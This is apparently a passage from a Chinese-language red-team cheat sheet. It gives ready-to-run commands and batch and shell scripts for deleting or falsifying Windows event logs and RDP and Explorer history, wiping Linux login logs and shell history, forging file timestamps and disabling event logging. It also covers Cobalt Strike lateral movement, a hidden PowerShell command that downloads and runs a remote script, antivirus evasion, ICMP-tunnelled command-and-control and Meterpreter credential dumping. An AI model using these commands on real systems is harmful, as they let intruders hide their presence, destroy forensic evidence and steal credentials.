指定ID范围（使用xml格式才可以看到对应的EventRecordID）：

```
wevtutil qe Security /f:text /q:"*[System [(EventRecordID<2080) and
(EventRecordID>2060)]]"
```

指定时间范围：

```
wevtutil qe Security /q:"*[System [TimeCreated[@SystemTime >'2020-01-17T05:46:08' and
@SystemTime <'2020-01-17T06:46:07']]]"
```

注意，以上指定的时间需要考虑时区，可以先以xml格式查看最近一条日志事件记录的时间作为当前时间参考，以确定时间范围：

```
wevtutil qe Security /rd:true /f:xml /c:1
```

清理远程连接（RDP）记录

删除本机连接其他主机的记录

```
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib -s -h %userprofile%\documents\Default.rdp
del %userprofile%\documents\Default.rdp
```

清理其他指定IP的主机连接本机的记录

这里主要是实现将`Security.evtx`文件中相关项删除，由于该文件处于被事件查看器占用的状态，需要用到第三方工具EventCleaner。

方法一：

首先查看与我们相关联IP的事件号：

```
wevtutil qe Security /f:xml /q:"*[EventData[(Data[@Name='IpAddress']='150.150.216.15')]]"
```

或者最新的一条与我们关联的事件：

```
wevtutil qe Security /rd:true /c:1 /f:xml /q:"*
```

```
[EventData[(Data[@Name='IpAddress']='150.150.216.15')]]"
```

根据xml格式日志中每项的`<EventRecordID>`，使用EventCleaner删除记录：

```
EventCleaner.exe closehandle
EventCleaner.exe <EventRecordID>
```

方法二：

导出一份不包含欲删除登录记录的安全日志记录文件：

```
wevtutil epl Security %SystemRoot%System32\winevt\Logs\Security_new.evtx /q:"*
[EventData[(Data[@Name='IpAddress']!='192.168.2.15')]]" /ow:true
```

使用EventCleaner接触日志文件占用：

```
EventCleaner.exe closehandle
```

删除原日志并覆盖：

```
del %SystemRoot%System32\winevt\Logs\Security.evtx
rename %SystemRoot%System32\winevt\Logs\Security_new.evtx Security.evtx
```

其实这里的方法二就是EventCleaner清除指定RecordID日志的方法，不过就方便性而言方法二容易结合为脚本（需要配合EventCleaner使用）：

```
@echo off
REM Start clear specified RDP connection event logs

REM Create a new event log file...
wevtutil epl Security %SystemRoot%System32\winevt\Logs\Security_new.evtx /q:"*
[EventData[(Data[@Name='IpAddress']!='192.168.2.15')]]" /ow:true

REM Close handles to event log files...
EventCleaner.exe closehandle

REM Replace original event log file...
del %SystemRoot%System32\winevt\Logs\Security.evtx

rename %SystemRoot%System32\winevt\Logs\Security_new.evtx Security.evtx

REM Finish
```

清理运行输入框记录

```
REG Delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /VA /F
```

清理文件浏览器当中的记录

删除文件浏览器最近浏览记录

```
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\*
```

删除文件浏览器自动添加的快速访问项

```
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*
```

删除文件浏览器中用户添加的快速访问项

```
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*
```

删除文件浏览器地址栏记录

```
REG Delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths /VA /F
```

删除文件浏览器最近搜索记录

```
REG Delete
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery /VA /F
```

禁止显示最近文件浏览记录

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v ShowRecent /t
REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v ShowFrequent /t
REG_DWORD /d 0 /f
```

文件清理

文件覆写

如果自身的敏感文件不小心上传至目标主机，必须要进行彻底清除，可以使用windows自带工具cipher，该工具会将指定文件区域进行反复数据写入，达到难以恢复文件的目的：

```
cipher /w:D:\test
```

一些情况下可以格式化整个盘：

```
format D
```

伪造文件修改时间

暂时只有ps脚本（windows api也可以实现）：

```
Function edit_time($path)($date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime);
edit_time("D:\test")
```

破坏Windows日志记录功能

利用工具

- Windwos-EventLog-Bypass
- Phant0m | Windows Event Log Killer 破坏日志记录功能 (重启可恢复)
- EventCleaner 关闭日志或删除指定id日志（可恢复）

清理痕迹综合脚本

这里给出一个痕迹清理BAT脚本，注意，这里并不清理Windows日志记录，日志记录推荐使用EventCleaner暂停或清理：

```
@echo off
echo Start clear normal Windows logs
echo ====================================

echo Delete Windows run dialog type history...
REG Delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /VA /F >nul
2>nul

echo Delete recent files in File Explorer...
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\* >nul 2>nul

echo Delete quick access in File Explorer...
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\* >nul 2>nul
```

```
Del /F /Q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\* >nul 2>nul

echo Delete type history in File Explorer...
REG Delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths /VA /F >nul
2>nul

echo Delete search history in File Explorer...
REG Delete
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery /VA /F
>nul 2>nul

echo Delete connect history in RDP...
REG Delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
>nul 2>nul
REG Delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f >nul
2>nul
REG Add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" >nul 2>nul
attrib -s -h %userprofile%\documents\Default.rdp >nul 2>nul
del %userprofile%\documents\Default.rdp >nul 2>nul

echo ====================================
echo Finish!
```

Linux 日志清除

```
# 一般需要清理的日志有:
# /var/run/utmp 记录现在登入的用户
# /var/run/utmpx
# /var/log/wtmp 记录用户所有的登入和登出
# /var/log/wtmpx
# /var/log/lastlog 记录每一个用户最后登入时间
# /var/log/btmp 记录错误的登入尝试
# /var/log/auth.log 需要身份确认的操作
# /var/log/secure 记录安全相关的日志信息
# /var/log/maillog 记录邮件相关的日志信息
# /var/log/message 记录系统启动后的信息和错误日志
# /var/log/cron 记录定时任务相关的日志信息
# /var/log/spooler 记录UUCP和news设备相关的日志信息
# /var/log/boot.log 记录守护进程启动和停止相关的日志消息

# web日志的清理：access.log 和auth.log 位置在/var/log/
# shell记录：.sh_history(ksh), .history(csh), 或.bash_history(bash)等

echo > /var/log/wtmp //此文件默认打开时乱码，可查到ip等信息
last //此时即查不到用户登录信息

echo > /var/log/btmp //此文件默认打开时乱码，可查到登陆失败信息
```

```
echo > /var/log/btmp //此文件默认打开的乱码，可查到登陆失败信息
lastb //查不到登陆失败信息

history -c //清空历史执行命令
修改/etc/profile，把HISTSIZE改为想记录的条数
echo > ./.bash_history //或清空用户目录下的这个文件即可

vi /root/history //新建记录文件
history -c //清除记录
history -r /root/history.txt //导入记录
history //查询导入结果


# 清空命令记录
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename # 这种文件里会存在空格

# 不记录历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;
export HISTFILE=/dev/null;
export HISTSIZE=0;
export HISTFILESIZE=0

# 此方法仅在交互的shell中有效，并且会使上下箭头重复最近命令这功能失效。还有一种方法就是在进入主机的时候就备份一下.bash_history，当退出的时候就把备份的文件还原一下
```

针对性删除日志文件：

```
删除当天日志
sed  -i '/当天日期/'d  filename
```

篡改日志文件：

```
将所有172.16.13.1 ，ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'
```

一键清除脚本：

```
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
```

```
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
```

Command & Control (C2)

CobaltStrike

前置代理上线(仅限stageless类型)

创建一个包含代理的listener就好了，proxy支持socks4a和http(s)

横向渗透创建smb级联

前提是需要目标账号的管理员账户

```
1. 窃取域用户的令牌或使用 make_token DOMAIN\user password 来使用对于目标有效的凭据来填充你的当前令牌，然后再次尝试去连接到 Beacon
2. jump psexec64/winrm64 10.10.10.1 smbtest
PS: 切换用户身份  steal_token
```

创建 smb beacon 即可，smb上线会在对应的IPC$目录下上传exe文件，可能会被杀软杀，但是可以使用powershell上线

```
powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('https://IP:PORT/a.ps1'))"

powershell set-ExecutionPolicy RemoteSigned
powershell -file sys.ps1
```

横向渗透创建ssh级联

在对应的beacon使用ssh的账号密码初始化一下

```
ssh [目标:端口] [用户名] [密码]
```

使用秘钥也可以

```
ssh-key [目标:端口] [用户名] [/path/key]
```

内网载荷传递

可以使用copy命令，也可以在内网搭建http server，甚至可以借助自身功能(cs自己的端口映射功能)下发artifact

Stagerless型artifact免杀

1. bypass amsi 或者修改特征码 (使用VirTest定位特征码并使用010Editor修改特征码的十六进制，或者采用替换汇编函数、调换指令顺序、置零跳转来修改特征码)
2. 加壳 (SafengineShielden [反LPK注入、反调试器附加、反内存转储选上，复杂度拉满，虚拟机检测不要打勾]、VMPoject、Enigma Protector)

伪装流量为ICMP流量

1. 使用pingtunnel

```
# server  (192.168.3.76)
./pingtunnel -type server
# client
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1
-noprint 1 -nolog 1
# cs创建127.0.0.1:9999和192.168.3.76:7777的2个listener，使用127.0.0.1:9999这个listener生成
artifact在target执行上线
```

2. 使用spp

```
# server  (192.168.3.76)
./spp -type server -proto ricmp -listen 0.0.0.0
# client
spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081
-proxyproto tcp -proto ricmp -nolog 1 -noprint 1
# cs创建127.0.0.1:8082和192.168.3.76:8081的2个listener，使用127.0.0.1:8082这个listener生成
artifact在target执行上线
```

Metasploit

meterpreter常用命令

```
# 基础命令
sessions -i 进入会话
```

```
sessions -k 杀死会话
background  将当前session放入后台
pwd         查看当前目录
getuid      查看当前用户信息
sysinfo     查看远程主机系统信息
execute     在目标主机上执行命令
hashdump    获取目标主机用户密码hash信息
getsystem   提升权限
shell       切换至传统shell
kill        关闭进程
load        加载meterpreter扩展
exit        退出当前shell
arp         显示ARP缓存
getproxy    显示当前代理配置
ifconfig    显示接口
ipconfig    显示接口
netstat     显示网络连接
portfwd     将本地端口转发到远程服务
route       查看和修改路由
getenv      查看环境变量
getprivs    查看权限
pgrep       搜索进程
ps          查看当前运行进程
reboot      重启系统
reg         修改注册表
clearev     清除windows中的应用程序日志、系统日志、安全日志
```

```
# 开启远程桌面
run vnc 使用vnc连接远程桌面
run getgui -e 开启远程桌面
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662   将3389端口转发到6662

# 信息收集
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机

run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控
```

```
run post/windows/gather/enum_domain    #查找域控
```